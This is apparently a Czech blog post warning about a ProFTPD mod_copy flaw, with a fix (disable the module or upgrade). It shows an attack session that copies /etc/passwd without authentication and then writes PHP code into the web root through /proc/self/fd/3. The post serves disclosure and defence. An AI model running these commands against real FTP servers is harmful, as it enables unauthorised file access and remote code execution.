Že je protokol FTP nutné zlo, které snad jen trochu mírníme pomocí berliček jako TLS nad FTP o tom snad asi není potřeba mluvit. Rád bych ale upozornil na skutečně velkou zranitelnost proftpd, která vede k napadení systému na skutečně vysoké úrovni.
Celý problém je dostatečně popsán a zdokumentován například zde a zde, ale balíky pro ubuntu v tuto chvíli stále obsahují zranitelnou verzi proftpd.
Pomocí příkazů SITE CPFR/SITE CPTO z modulu mod_copy lze kopírovat libovolné soubory v rámci filesystému BEZ ověření uživatele. Řešením je zmíněný modul vypnout, nebo použít opravenou verzi proftpd.
Příklad napadení:
Trying xx.xx.xx.xx... Connected to xx.xx.xx.xx. Escape character is '^]'. 220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:xx.xx.xx.xx] site help 214-The following SITE commands are recognized (* =>'s unimplemented) 214-CPFRpathname 214-CPTO pathname 214-UTIME YYYYMMDDhhmm[ss] path 214-SYMLINK source destination 214-RMDIR path 214-MKDIR path 214-The following SITE extensions are recognized: 214-RATIO -- show all ratios in effect 214-QUOTA 214-HELP 214-CHGRP 214-CHMOD 214 Direct comments to root site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto /tmp/passwd.copy 250 Copy successful
Takže v tuto chvíli máme v /tmp/ kopii /etc/passwd
Pokud by toto bylo někomu málo, horší je to, že lze takto manipulovat i dále a hůře se soubory, které součástí filesystému nejsou.
site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto <?php phpinfo(); ?> 550 cpto: Permission denied site cpfr /proc/self/fd/3 350 File or directory exists, ready for destination name site cpto /var/www/test.php
/var/www/test.php bude existovat a bude obsahovat toto (ukázka převzata)
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): FTP session opened. 2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php phpinfo(); ?>' for copying: Permission denied
PHP interpret se moc nebude zajímat o omáčku kolem a z daného souboru (uloženého v kořeni www serveru) vyhodnotí jen výraz
<?php phpinfo(); ?>
Jistě chápete, co by se s tím vším dalo dělat …